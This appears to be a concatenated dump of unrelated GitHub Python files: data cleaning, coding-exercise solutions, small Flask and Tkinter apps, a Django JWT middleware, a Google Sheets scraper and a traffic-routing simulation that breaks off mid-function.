'SpeedI1',\n ]\n\n # drop them\n df_raw.drop(columns=to_drop, inplace = True)\n return None\n\n# removes a row with a nan value there was no pitstop\n# this is done because of a high data imbalance in the data\ndef remove_if_no_pit(df_raw):\n indices = []\n # print(df_raw.shape)\n for row in df_raw.iterrows():\n num_nulls_in_row = row[1].isna().sum()\n if ((row[1].get(\"PitStop\")) == 0) and (num_nulls_in_row > 0):\n indices.append(row[0])\n\n df_raw = df_raw.drop(index = indices)\n # print(df_raw.shape)\n return df_raw\n\n# takes an array and a list of columns, \n# returns a dictonary of null values and counts\ndef nan_counts(df_raw, column_name = None):\n if column_name == None:\n column_name = df_raw.columns\n null_count = {}\n for name in column_name:\n num_nulls = df_raw[name].isna().sum()\n if num_nulls > 0:\n null_count[name] = df_raw[name].isna().sum()\n return null_count\n\n# FIXME: it takes the mean of all values, even though that does not make sense\n# for all features\ndef remove_nulls(df_raw):\n df_new = remove_if_no_pit(df_raw)\n make_zero = [\n \"IsPersonalBest\",\n ]\n \n for name in make_zero:\n df_new[name] = df_new[name].fillna(0)\n\n # make_mean = [\n # 'Sector1Time',\n # 'Sector2Time',\n # 'Sector3Time',\n # 'Sector1SessionTime',\n # 'Sector2SessionTime',\n # 'Sector3SessionTime',\n # 'Time',\n # 'LapTime',\n # 'SpeedI1', dropped this guy because of many missing numbers\n # 'SpeedI2',\n # 'SpeedFL',\n # 'SpeedST',\n # ]\n\n nulls = nan_counts(df_new)\n for name in nulls:\n df_new[name] = df_new[name].fillna(df_new[name].mean)\n \n return df_new \n\n","repo_name":"MBadriNarayanan/Formula1","sub_path":"Scripts/feature_selection.py","file_name":"feature_selection.py","file_ext":"py","file_size_in_byte":8269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"25852741724","text":"import math\ndef solution(str1, str2):\n answer = 0\n inter = 0\n str1 = str1.upper() #대소문자 구분안함\n str2 = str2.upper()\n \n #다중집합\n s1 = [str1[i1:i1+2] for i1 in range(len(str1)-1) if str1[i1:i1+2].isalpha()]\n s2 = [str2[i2:i2+2] for i2 in range(len(str2)-1) if str2[i2:i2+2].isalpha()]\n \n #공집합이면 1\n if s1 == [] and s2 == []:\n return 65536\n \n for one in range(len(s1)):\n for two in range(len(s2)):\n if s1[one] == s2[two]:\n inter += 1\n s2.remove(s2[two])\n break\n \n #자카드 유사도\n uni = len(s1)+len(s2)\n if inter == uni:\n return 65536\n \n answer = inter/uni\n return math.trunc(answer*65536)","repo_name":"younga-Lee/algorithm","sub_path":"프로그래머스/lv2/17677. [1차] 뉴스 클러스터링/[1차] 뉴스 클러스터링.py","file_name":"[1차] 뉴스 클러스터링.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26133203669","text":"import functools\nfrom flask import Flask, render_template, jsonify\nimport json\nimport meal_planner\nfrom ingest import average_carb_function, glucose_function\n\napp = Flask(__name__)\n\n\n@app.route('/api', methods=['GET'])\ndef meal_plan_api():\n # Format constants for generative API\n condition = \"type 1 diabetes\"\n blood_glucose = 5.5 # mmol/L\n delta_glucose = \"dropping\"\n carbohydrates = 300 # grams\n tomorrow_business = \"busy\"\n tomorrow_schedule = \"many meetings in the morning\"\n\n # Fetch input data from API.\n carbohydrates = average_carb_function()\n glucose = glucose_function()\n\n # Format data for Gen API.\n delta_glucose = glucose[0]\n blood_glucose = glucose[1]\n\n # Run generative API.\n meal_plan = meal_planner.create_meal_plan(\n condition, \n blood_glucose, \n delta_glucose,\n carbohydrates, \n tomorrow_business, \n tomorrow_schedule\n )\n print(json.dumps(meal_plan, indent=2))\n return jsonify(meal_plan)\n\n\n@app.route('/')\ndef index():\n return render_template('index.html')","repo_name":"mjennings061/zante","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"15572825955","text":"import tkinter as tk\nfrom tkinter import filedialog as tkFile\nfrom tkinter import messagebox as mb\n\n# This is a Notepad Application using Python Tkinter\n# It should include the following :\n# 1- A NotePad to write the text\n# 2- Save Button to save the file anywhere the user defines\n# 3- Open button to a file from anywhere the user chooses\n\n\nclass NotePad(tk.Frame):\n _master = tk.Tk()\n _text = tk.Text(_master)\n _menubar = tk.Menu(_master)\n _fileMenu = tk.Menu(_menubar, tearoff=0)\n _editMenu = tk.Menu(_menubar, tearoff=0)\n _helpMenu = tk.Menu(_menubar, tearoff=0)\n\n _File = None\n _scrollBar = tk.Scrollbar(_text)\n\n def MenuCommands(self):\n self._text.grid(row=0)\n self._master.config(menu=self._menubar)\n # File Menu\n self._fileMenu.add_command(label=\"New\", command=self.__NewFile)\n self._fileMenu.add_command(label=\"Open\", command=self.__OpenFile)\n self._fileMenu.add_command(label=\"Save\", command=self.__SaveFile)\n self._fileMenu.add_separator()\n self._fileMenu.add_command(label=\"Exit\", command=self.__Exit)\n self._menubar.add_cascade(label=\"File\", menu=self._fileMenu)\n # Edit Menu\n self._editMenu.add_command(label=\"Copy\", command=self.__copy)\n self._editMenu.add_command(label=\"Paste\", command=self.__paste)\n self._editMenu.add_command(label=\"Cut\", command=self.__cut)\n self._menubar.add_cascade(label=\"Edit\", menu=self._editMenu)\n # Help Menu\n self._helpMenu.add_command(label=\"About\", command=self.__info)\n self._menubar.add_cascade(label=\"Help\", menu=self._helpMenu)\n\n def run(self):\n self._master.mainloop()\n\n # File Menu Commands\n def __NewFile(self):\n self._File = None\n self._master.title(\"Untitled - Notepad\")\n self._text.delete(1.0, tk.END)\n\n def __OpenFile(self):\n self._File = tkFile.askopenfilename(defaultextension=\".txt\", filetypes=[\"All Files\", (\"Text Documents\", \"*.txt\")\n ])\n if self._File == \"\":\n self._File = None\n else:\n self.master.title(tkFile.os.path.basename(self._File) + \" - Notepad\")\n self._text.delete(1.0, tk.END)\n file = open(self._File, \"r\")\n self._text.insert(1.0, file.read())\n\n file.close()\n\n def __SaveFile(self):\n if self._File is None:\n self._File = tkFile.asksaveasfilename(title=\"Save File\", initialdir=\"/\",\n filetypes=[(\"All Files\", \"*.*\"), (\"Text Documents\", \"*.txt\")],\n defaultextension=\".txt\",\n initialfile=\"Untitled.txt\")\n if self._File == \"\":\n self._File = None\n else:\n file = open(self._File, \"w\")\n file.write(self._text.get(1.0, tk.END))\n\n self._master.title(tkFile.os.path.basename(self._File) + \" - NotePad\")\n\n def __cut(self):\n self._text.event_generate(\"<>\")\n\n def __paste(self):\n self._text.event_generate(\"<>\")\n\n def __copy(self):\n self._text.event_generate(\"<>\")\n\n def __Exit(self):\n self._master.destroy()\n\n def __info(self):\n mb.showinfo(\"About\", \"Notepad Version 0.01 By Ahmad AbdelMageed\")\n\n def __init__(self, master=None):\n tk.Frame.__init__(self, master)\n self._master.title(\"Untitled - Notepad\")\n self._master.grid_rowconfigure(0, weight=1)\n self._master.grid_columnconfigure(0, weight=1)\n self.MenuCommands()\n\n\nnotepad = NotePad()\nnotepad.run()\n\n\n\n\n\n\n\n\n\n","repo_name":"Ahmad-Abdalmageed/Mini-Projects-","sub_path":"NotePad/notepad.py","file_name":"notepad.py","file_ext":"py","file_size_in_byte":3734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41434650106","text":"class Solution:\n def carPooling(trips, capacity) -> bool:\n cars = [0]*1001 #cuz of trip lenght\n\n for i in trips:\n cars[i[1]]+=i[0]\n cars[i[2]]-=i[0]\n\n for i in cars:\n capacity -= i\n if capacity<0: return False\n\n return True\n","repo_name":"samek571/leetcode-600","sub_path":"1094. Car Pooling.py","file_name":"1094. Car Pooling.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"74211629014","text":"# board formation\ndef Board(board):\n print(\"Current State Of Board : \\n\\n\")\n for i in range (0,9):\n if((i>0) and (i%3)==0):\n print(\"\\n\")\n if(board[i]==0):\n print(\"- \",end=\" \")\n if (board[i]==1):\n print(\"O \",end=\" \")\n if(board[i]==-1): \n print(\"X \",end=\" \")\n print(\"\\n\\n\")\n\n# player turns (X and O)\ndef player1Turn(board):\n print(\"Player 1's turn\")\n pos=input(\"Enter X's position from [1...9]: \")\n pos=int(pos)\n if(board[pos-1]!=0):\n print(\"Wrong Move!!!\")\n exit(0) \n board[pos-1]=-1\n\ndef player2Turn(board):\n print(\"Player 2's turn\")\n pos=input(\"Enter O's position from [1...9]: \")\n pos=int(pos)\n if(board[pos-1]!=0):\n print(\"Wrong Move!!!\")\n exit(0)\n board[pos-1]=1\n\n# checks the result of the game\ndef boardanalyser(board):\n cb=[[0,1,2],[3,4,5],[6,7,8],[0,3,6],[1,4,7],[2,5,8],[0,4,8],[2,4,6]]\n\n for i in range(0,8):\n if(board[cb[i][0]] != 0 and\n board[cb[i][0]] == board[cb[i][1]] and\n board[cb[i][0]] == board[cb[i][2]]):\n return board[cb[i][2]]\n return 0\n\ndef minimax(board,player):\n x=boardanalyser(board)\n if(x!=0):\n return (x*player)\n pos=-1\n value=-2\n for i in range(0,9):\n if(board[i]==0):\n board[i]=player\n score=-minimax(board,(player*-1))\n if(score>value):\n value=score\n pos=i\n board[i]=0\n\n if(pos==-1):\n return 0\n return value\n\n# computer player\ndef computer(board):\n pos=-1\n value=-2\n for i in range(0,9):\n if(board[i]==0):\n board[i]=1\n score=-minimax(board, -1)\n board[i]=0\n if(score>value):\n value=score\n pos=i\n \n board[pos]=1\n\ndef main():\n choice=input(\"Enter 1 for single player, 2 for multiplayer: \")\n choice=int(choice)\n board=[0,0,0,0,0,0,0,0,0]\n if(choice==1):\n print(\"Computer : O Vs. You : X\")\n player= input(\"Enter to play 1(st) or 2(nd) :\")\n player = int(player)\n for i in range (0,9):\n if(boardanalyser(board)!=0):\n break\n if((i+player)%2==0):\n computer(board)\n else:\n Board(board)\n player1Turn(board)\n else:\n for i in range (0,9):\n if(boardanalyser(board)!=0):\n break\n if((i)%2==0):\n Board(board)\n player1Turn(board)\n else:\n Board(board)\n player2Turn(board)\n x=boardanalyser(board)\n if(x==0):\n Board(board)\n print(\"Draw!!!\")\n if(x==-1):\n Board(board)\n print(\"X Wins!!! Y Loose !!!\")\n if(x==1):\n Board(board)\n print(\"X Loose!!! O Wins !!!!\")\n \nmain()\n","repo_name":"Anisalunke/AILabWork","sub_path":"aiCodes/minmax_tictactoe.py","file_name":"minmax_tictactoe.py","file_ext":"py","file_size_in_byte":2894,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"30495264632","text":"from array import array\n\n\nstr1 = 'Vanshika' #single quotes\nstr2 = \"Vanshika\" #double quotes\nstr3 = '''Vanshika''' #three quotes\nstr4 = \"\"\"Vanshika\"\"\"\n\n#print(str1)\n#print(str2)\n#print(str3)\n#print(str4)\n\n# string converstion using in built function\na = 2022\nstr5 = str(a)\n#print(type(str5))\n\na = (1,\"str\",5,6)\n#print(\"a:\",type(a))\n#str='1'\nb = [1,2,3,4,5]\nprint(\"b:\",type(b))\n\nc = {\"a\":\"b\",\n \"c\":\"d\"}\n#print(\"c:\",type(c))\nlist2=list()\nprint(list2)\n\nsc = \"India\"\nprint(sc)\nlist1 = list(sc)\nprint(list1)\n\nset1 = set(sc)\nprint(set1)\nprint(type(set1))\nlist1[1]='s'\nprint(list1)\n\nb[1]=8\nprint(b)\n\nset1[1]='s'\nprint(set1)\n\n\n\n\n","repo_name":"udaykishore-resu/Python","sub_path":"Datatypes/strings.py","file_name":"strings.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"13215915125","text":"# you can write to stdout for debugging purposes, e.g.\n# print(\"this is a debug message\")\n\ndef solution(A, K):\n # write your code in Python 3.6\n # Shift A k times\n \n # Need to check for edge case if array is empty...\n \n length = len(A)\n K = K% length\n\n shifted = A[-K:] + A[:-K]\n\n return shifted\n","repo_name":"healyr4/Leetcode","sub_path":"array_rotation_right.py","file_name":"array_rotation_right.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"15700522867","text":"import json\nimport os\nfrom datetime import datetime\n\nimport django\n\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'config.settings')\ndjango.setup()\n\nimport jwt\nfrom config.settings import SIMPLE_JWT\nfrom django.contrib.auth.models import AnonymousUser\nfrom channels.db import database_sync_to_async\nfrom channels.middleware import BaseMiddleware\n\n\nfrom django.db import close_old_connections\nfrom django.contrib.auth import get_user_model\n\n\nUser = get_user_model()\n\n@database_sync_to_async\ndef get_user(token):\n try:\n payload = jwt.decode(token, key=SIMPLE_JWT['SIGNING_KEY'], algorithms=SIMPLE_JWT['ALGORITHM'])\n except Exception as e:\n return AnonymousUser()\n\n token_exp = datetime.fromtimestamp(payload['exp'])\n if token_exp < datetime.utcnow():\n return AnonymousUser()\n\n try:\n user = User.objects.filter(id=payload['user_id']).first()\n except User.DoesNotExist:\n return AnonymousUser()\n return user\n\n\nclass TokenAuthMiddleware(BaseMiddleware):\n async def __call__(self, scope, receive, send):\n try:\n close_old_connections()\n try:\n token_key = (dict((x.split('=') for x in scope['query_string'].decode().split(\"&\")))).get('token', None)\n except ValueError:\n token_key = None\n scope['user'] = await get_user(token_key)\n return await super().__call__(scope, receive, send)\n except Exception:\n pass\n\n\ndef JwtAuthMiddlewareStack(inner):\n return TokenAuthMiddleware(inner)\n","repo_name":"bandicuttt/crypto-exchanger-DRF-React-","sub_path":"server/transactions/middlewares/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"40320096888","text":"from tkinter import N\nimport unidecode\nimport time\nimport os\nimport sys\nsys.path.append('/Users/acapai/Documents/Git/Espace-test/Scrapping-With-Python/Scrapping_Url_GAFEO/Packages')\nimport re\nimport pandas as pd\nimport pygsheets\nfrom Packages.get_info_apprenant_session_loop import get_info_apprenant_session_loop\nfrom Packages.update_googlesheet_data import update_workseet_suivi_eron\nfrom Packages.update_layout_worksheet import update_layout_worksheet\n\n#Format all sheet if different\n# if format_sheet:\n# update_layout_worksheet(gc,sh,header_col_num,4,22)\n\ndef pygsheet_suivi_eron(sh,header_col_num,nbsheet):\n \"\"\"start connection to suivi eron 2022\"\"\"\n start_time_worksheet = time.perf_counter()\n\n # for sheet_number in range(4,22):\n # DUPLICATA Suivi Eron 2022 (derniere version)\n\n if sh[4].title != \"(Départ 01/01/2022) INF\":\n return\n\n jour_start = '15'\n jour_end = '01'\n mois_start = 3\n mois_end = 5\n year_start = \"2022\"\n year_end =\"2022\"\n\n depart = [\"01\",\"15\"]\n formation_cat = [\"INF\",\"KIN\",\"MED\",\"DEN\",\"PHA\",\"INT\"]\n for month in range(mois_start,mois_end+1):\n for idx,dep in enumerate(depart):\n for cat in formation_cat:\n if month == mois_start and idx==0:\n sheet_title = \"(Départ \"+ jour_start + \"/\" + \"0\"+str(month)+ \"/\" + year_start + \") \" + cat\n elif month == mois_end and jour_end==\"01\" :\n sheet_title = \"(Départ \"+ jour_end + \"/\" + \"0\"+str(month) + \"/\" + year_end + \") \" + cat\n elif month == mois_start and jour_start == dep :\n break\n else:\n sheet_title= \"(Départ \"+ dep + \"/\" + \"0\"+str(month)+ \"/\" + year_end + \") \" + cat\n wksheet = sh.worksheet_by_title(sheet_title)\n\n \n\n # for sheet_number in range(28,len(sh._sheet_list)+1):\n # # print(sheet_number)\n # wksheet = sh[sheet_number]\n \n list_header=wksheet.get_row(header_col_num)\n index_col_formation = [index+1 for index,elem in enumerate(list_header) if elem == \"Thématiques\" ][0]\n index_col_apprenant = [index+1 for index,elem in enumerate(list_header) if elem == \"Nom Prénom\" ][0]\n index_col_course_id = [index+1 for index,elem in enumerate(list_header) if elem == \"Cours_ID_Static\" ][0]\n index_col_statut_crm = [index+1 for index,elem in enumerate(list_header) if elem == \"Statut CRM\" ][0]\n # index_col_stag_id = [index+1 for index,elem in enumerate(list_header) if elem == \"Apprenant_GAFEO_ID\" ][0]\n col_formation_raw = wksheet.get_col(index_col_formation)\n\n # print(col_name_apprenant)\n print(wksheet.title)\n print(sh.title)\n\n try:\n path_directory=os.path.join(os.path.dirname(__file__),\"data\",wksheet.title.replace(\"/\",\"-\").replace(\"(\",\"\").replace(\")\",\"\").replace(\" \",\"-\"))\n print(path_directory)\n os.makedirs(path_directory)\n except FileExistsError:\n # directory already exists\n pass\n\n if len(os.listdir(path_directory) ) == 0 or (len(os.listdir(path_directory) ) == 1 and \".DS_Store\" in os.listdir(path_directory)):\n max_value=0\n\n col_name_course_id = wksheet.get_col(index_col_course_id)\n col_course_id = [string for string in col_name_course_id if string ]\n \n col_name_statut_crm = wksheet.get_col(index_col_statut_crm)\n col_statut_crm = [string for string in col_name_statut_crm if string ]\n\n # col_name_stag_id = wksheet.get_col(index_col_stag_id)\n # col_stag_id = [string for string in col_name_stag_id if string ]\n\n col_name_apprenant = wksheet.get_col(index_col_apprenant)\n col_apprenant = [string for string in col_name_apprenant if string ]\n\n col_formation_name=[]\n col_formation_raw = wksheet.get_col(index_col_formation)\n col_formation = [ string.split(\"-\")[0] for string in col_formation_raw if string]\n for string in col_formation_raw:\n if string and len(string.split(\"-\"))==3:\n col_formation_name.append(string.split(\"-\")[2])\n elif string!=\"\":\n col_formation_name.append(string)\n else:\n continue\n # print(col_formation)\n # print(col_formation_name)\n\n l = [\"\"] * len(col_formation[2:])\n datasheet = pd.DataFrame(list(zip(col_course_id[1:],l,col_formation[2:],col_formation_name[2:],col_apprenant[2:],col_statut_crm[2:])),columns=['Cours_ID_Static','Apprenant_GAFEO_ID','Formation','Formation_name','Apprenant','Statut CRM'])\n # datasheet[\"Course_id\"]=\"\"\n # datasheet[\"Gafeo_People_id\"]=\"\"\n datasheet['Dernier Accès'] = ''\n datasheet['Pourcentage']=''\n datasheet['Apprenant_Normalize']=''\n datasheet[\"Apprenant_Gafeo\"]=\"\"\n\n #Normalize name \n for index,row in datasheet.iterrows():\n # print(unidecode.unidecode(row['Apprenant']))\n # print(row['Apprenant'].lower())\n # print(unidecode.unidecode(row['Apprenant'].lower()))\n # print(re.sub(r'[^a-zA-Z0-9]','',unidecode.unidecode(row['Apprenant'].lower().replace(' ', ''))))\n # row['Apprenant_Normalize']= re.sub(r'[^a-zA-Z0-9]','',unidecode.unidecode(row['Apprenant']).lower().replace(' ', ''))\n row['Apprenant_Normalize']= re.sub(r'[^a-zA-Z0-9]','',unidecode.unidecode(row['Apprenant']).lower())\n \n formation_unique= datasheet.Formation.unique().tolist()\n\n else:\n files_name =[f for f in os.listdir(path_directory) if not f.startswith('.')] \n list_number = [ int(f.split(\"_\")[-1]) for f in files_name if \"DS_Store\" not in f]\n max_value = max(list_number)\n max_index = list_number.index(max_value)\n datasheet = pd.read_pickle(os.path.join(path_directory,files_name[max_index])) \n formation_unique= datasheet.Formation.unique().tolist()\n\n col_formation_raw = wksheet.get_col(index_col_formation)\n col_formation = [ string.split(\"-\")[0] for string in col_formation_raw if string]\n # unique_formation_from_googlesheet=set(col_formation[2:])\n\n if len(formation_unique) != max_value:\n dic_dataframe={}\n for formation in formation_unique:\n dic_dataframe[formation]=datasheet[datasheet[\"Formation\"]==formation]\n\n updated_datasheet = get_info_apprenant_session_loop(dic_dataframe,wksheet,datasheet,path_directory,start_formation=max_value)\n update_workseet_suivi_eron(wksheet,updated_datasheet)\n else:\n update_workseet_suivi_eron(wksheet,datasheet)\n\n nbsheet+=nbsheet+1\n if month == mois_end and jour_end == dep :\n break\n\n\n end_time_wksheet=time.perf_counter()\n duree_total_update=end_time_wksheet-start_time_worksheet\n print(\"Duree total pour update {number_sheet} Sheet:\".format(number_sheet=str(nbsheet))+str(duree_total_update)+'sec')\n\n\n\nif __name__ == \"__main__\":\n gc = pygsheets.authorize(client_secret='/Users/acapai/Documents/Git/Espace-test/Scrapping-With-Python/ManageGoogleSheetPython/code_secret_client_173621592213-0llal3ntmv316usvtboglpb52leq6jcu.apps.googleusercontent.com.json')\n # sh = gc.open_by_key('1Ix4xc_kJPrIBXQL8JmGVz_XNnY4t7AMHdHvmyVlExiA')\n # Suivi Eron 2022 (derniere version)\n sh = gc.open_by_key('13VqSH8KjAzB3-mroVhtUJjXgO2Gs31UtpqdehiLMyRs')\n header_col_num=6\n nbsheet=0\n format_sheet=False\n pygsheet_suivi_eron(sh,header_col_num,nbsheet)","repo_name":"EronInformatique/Scrapping_URL_GAFEO","sub_path":"pygsheet_connect.py","file_name":"pygsheet_connect.py","file_ext":"py","file_size_in_byte":8378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"42303845527","text":"import feedparser\nimport flask\nimport html\nimport time\n\napp = flask.Flask(__name__)\n\nfeeds = { # Key: (URL, cache, timestamp)\n 'funny': ('https://9gag-rss.com/api/rss/get?code=9GAGFunnyNoGif&format=2', None, None),\n 'hot': ('https://9gag-rss.com/api/rss/get?code=9GAGHotNoGif&format=2', None, None),\n 'trending': ('https://9gag-rss.com/api/rss/get?code=9GAGNoGif&format=2', None, None),\n 'awesome': ('https://9gag-rss.com/api/rss/get?code=9GAGAwesomeNoGif&format=2', None, None)\n }\n\n\n@app.route('/')\ndef index():\n homepage = flask.render_template('index.html', feeds=feeds)\n return homepage\n\n@app.route('//')\ndef feed(F):\n if not F in feeds:\n return flask.render_template('index.html', feeds=feeds)\n\n\n url, cache, timestamp = feeds[F]\n now = time.time()\n\n # Recache\n if timestamp == None or now - timestamp > 10: # every 10 seconds\n # print(\"Cache Miss\")\n d = feedparser.parse(url)\n\n # Fix escaping, title was showing up as &rdquot;Pressure ?&ldquot; for https://9gag.com/gag/amBd1z2\n d.feed.title = html.unescape(d.feed.title)\n for entry in d.entries:\n entry.title = html.unescape(entry.title)\n \n cache = flask.render_template('feed.html', feed=d)\n timestamp = now\n feeds[F] = (url, cache, timestamp)\n else:\n # print(\"Cache Hit\")\n pass\n\n return cache\n","repo_name":"QuestionC/bermi-flask","sub_path":"feed.py","file_name":"feed.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"9131930371","text":"import logging\r\nimport sys\r\nimport pandas as pd\r\nimport numpy as np\r\nimport time\r\n# from update import update_road\r\n# from update import update_road_first_end\r\n# from diaoyong import Addcar\r\nroad_path='./1-map-training-2/road.txt'\r\ncross_path='./1-map-training-2/cross.txt'\r\ncar_path='./1-map-training-2/car.txt'\r\nanswer_path=r'C:\\Users\\Administrator\\Desktop\\新建文件夹\\huawei2019-with-visualization-master\\huawei2019-with-visualization-master\\1-map-training-1\\answer.txt'\r\n\r\n\r\ntime_start = time.time()\r\ndef Dijkstra(hh, start, end):\r\n dist = {}\r\n previous = {}\r\n for v in hh.keys():\r\n #都设置为无穷大\r\n dist[v] = float('inf')\r\n previous[v] = 'none'\r\n dist[start] = 0\r\n u = str(start)\r\n\r\n while u != end:\r\n #获得最小值对应的键\r\n u = min(dist, key=dist.get)\r\n distu = dist[u]\r\n # print(distu)\r\n del dist[u]\r\n# print(hh[u])#hh[u]\r\n for u ,v,weight,id in hh[u]:\r\n if v in dist:\r\n alt = distu + int(weight)\r\n if alt < dist[v]:\r\n dist[v] = alt\r\n previous[v] = {u:id}\r\n\r\n path = [end]\r\n path_road=[]\r\n last = end\r\n while last != start:\r\n nxt =min(previous[last], key=previous[last].get)\r\n# nxt = list(previous[last].keys())\r\n road=previous[last][nxt]\r\n path_road.append(road)\r\n path.append(nxt)\r\n last = nxt\r\n return path,path_road\r\nDirection={\"roadId1-roadId2\":2,\"roadId1-roadId4\":1,\"roadId2-roadId1\":1,\"roadId2-roadId3\":2,\r\n \"roadId3-roadId2\":1,\"roadId3-roadId4\":2,\"roadId4-roadId3\":1,\"roadId4-roadId1\":2,\r\n \"roadId2-roadId4\":3,\"roadId4-roadId2\":3,\"roadId1-roadId3\":3,\"roadId3-roadId1\":3,\r\n \"roadId1-roadId1\":3,\"roadId2-roadId2\":3,\"roadId3-roadId3\":3,\"roadId4-roadId4\":3}\r\n\r\ndef dicrion(to,next_road,road):\r\n id=cross[cross['id']== to]\r\n directionid2=id.columns[np.where(id==next_road)[1]].tolist()[0]\r\n directionid1=id.columns[np.where(id==road)[1]].tolist()[0] #找到对应的列名\r\n direct=Direction[str(directionid1+'-'+directionid2)]#行驶方向\r\n return direct\r\n\r\ndef Road_Dir(second_road,run_road,cross_id):\r\n second_road = second_road.sort_values([\"run_channel\"], ascending=True) # 按照位置sheng序\r\n second_road = second_road.sort_values([\"weizhi\"], ascending=False)\r\n second_road_id = second_road['next_road'].iloc[0]\r\n nxt = cross_id\r\n roading = str(run_road)\r\n next_road = second_road_id\r\n second_dir = dicrion(nxt, next_road, roading)\r\n return second_road_id,second_dir\r\n\r\n\r\ndef Conflict(next_going_road_id,direction,second_road_idAnd_dir):\r\n conflict=False\r\n for second_road_id_, second_dir_ in second_road_idAnd_dir:\r\n if (second_road_id_ == next_going_road_id) & (\r\n second_dir_ > direction): # 如果第二条路的第一辆车的方向小于我的方向,或者你不和我同路,都不冲突\r\n conflict = True\r\n break\r\n else:\r\n continue\r\n return conflict\r\n\r\ndef update_road(In_road, current, k,road, car):\r\n roading = In_road.sort_values([\"run_channel\"], ascending=True) # 按车道升序\r\n roading = roading.sort_values([\"weizhi\"], ascending=False) # 按照位置降序\r\n channel_index = roading[roading['run_channel'] == k ].index.tolist()\r\n if len(channel_index) != 0:\r\n last_i = 0 # 上一个车\r\n for i in channel_index: # 对每条道路上每个车道的车辆进行分析\r\n car_speed = car[car['id'] == current['carid'][i]]['speed'].values.tolist()[0] ###第一辆车的速度\r\n road_speed = road[(road['id'] == current['run_road'][i])]['speed'].values.tolist()[0]\r\n V1 = int(min(int(car_speed), int(road_speed))) # 最大行驶速度\r\n if last_i > 0:\r\n s = current['weizhi'][last_i] - current['weizhi'][i] - 1 # 间距\r\n if (s < V1): # 且间距小于s < v*t--->有阻挡\r\n if (current['state'][last_i] == 0): # 如果前车为终止状态\r\n current['state'][i] = 0 # 终止\r\n S_ = current['weizhi'][i] + min(V1, s)\r\n current['weizhi'][i] = S_\r\n if (current['state'][last_i] == 1): # 如果前车为等待状态\r\n current['state'][i] = 1 # 等待\r\n else: # 没车阻挡\r\n S_ = current['weizhi'][i] + V1 # 当前位置\r\n current['state'][i] = 0 # 终止\r\n current['weizhi'][i] = S_\r\n else:\r\n S_ = current['weizhi'][i] + V1 # 当前位置\r\n if int(road[road['id'] == current['run_road'][i]]['length'].values.tolist()[\r\n 0]) >= S_: ##int(road[road['id']==current['id'][i]]['length'].values.tolist()[0])=S_:\r\n current['state'][i] = 0 # 终止\r\n current['weizhi'][i] = S_\r\n else:\r\n current['state'][i] = 1 # 等待\r\n last_i = i\r\n return current\r\n\r\ndef update_road_first_end(In_road, index, current, road, car):\r\n # roading = In_road.sort_values([\"run_channel\"], ascending=True) # 按车道升序\r\n # roading = roading.sort_values([\"weizhi\"], ascending=False) # 按照位置降序\r\n k = current['run_channel'][index]\r\n # for k in range(int(road[road['id']==roading['id']]['channel'].iloc[0])): # 判断当前道路总共有多少车道\r\n channel_index = In_road[In_road['run_channel'] == k].index.tolist()\r\n last_i = index # 上一个车\r\n for i in channel_index: # 对每条道路上每个车道的车辆进行分析\r\n car_speed = car[car['id'] == current['carid'][i]]['speed'].values.tolist()[0] ###第一辆车的速度\r\n road_speed = road[(road['id'] == current['run_road'][i])]['speed'].values.tolist()[0]\r\n V1 = int(min(int(car_speed), int(road_speed))) # 最大行驶速度\r\n s = current['weizhi'][last_i] - current['weizhi'][i] - 1 # 间距\r\n if (s < V1): # 且间距小于s < v*t--->有阻挡\r\n if (current['state'][last_i] == 0): # 如果前车为终��状态\r\n current['state'][i] = 0 # 终止\r\n # current['V1'][i] = min(current['V1'][i], s)\r\n S_ = current['weizhi'][i] + min(V1, s)\r\n current['weizhi'][i] = S_\r\n if (current['state'][last_i] == 1): # 如果前车为等待状态\r\n current['state'][i] = 1 # 等待\r\n last_i = i\r\n return current\r\n\r\n\r\ndef Addcar(Z_luxian,current,road,index,caing_start2end,car,start_id,end_id):\r\n ##判断当前道路的状况\r\n road_id = road.iloc[index]['id'] # 当前道路\r\n road_speed = road.iloc[index]['speed'] # 当前道路限速\r\n road_channel = int(road.iloc[index]['channel']) # 当前道路车道数\r\n road_length = int(road.iloc[index]['length']) # 当前道路长度\r\n capacity = road_channel * road_length\r\n for k in range(road_channel):\r\n for car_in_road in caing_start2end['id'].values.tolist():\r\n if current[(current['from'] == start_id) & (current['to'] == end_id)].shape[0] <= int(0.8 * capacity): # 道路容量的80%\r\n enough = False #\r\n roading = current[(current['from'] == start_id) & (current['to'] == end_id) & (current['run_channel'] == k + 1)]\r\n if roading.empty:\r\n S = road_length\r\n else:\r\n roading = roading.sort_values([\"weizhi\"], ascending=True) # 按照位置深序\r\n S = roading[\"weizhi\"].iloc[0] - 1 # 最后一辆车的位置 # print(S)\r\n car_speed = caing_start2end[caing_start2end['id'] == car_in_road]['speed'].values.tolist()[\r\n 0] ###第一辆车的速度\r\n V1 = int(min(int(car_speed), int(road_speed))) # 最大行驶速度\r\n ## 第一辆车可不可以放\r\n if S > 0: # 能放\r\n next_road = Z_luxian[car_in_road]['path_road'][1] # 下一条出发路线\r\n run_channel = 1 + k #\r\n S_ = min(V1, S) # 当前位置\r\n state = 0\r\n 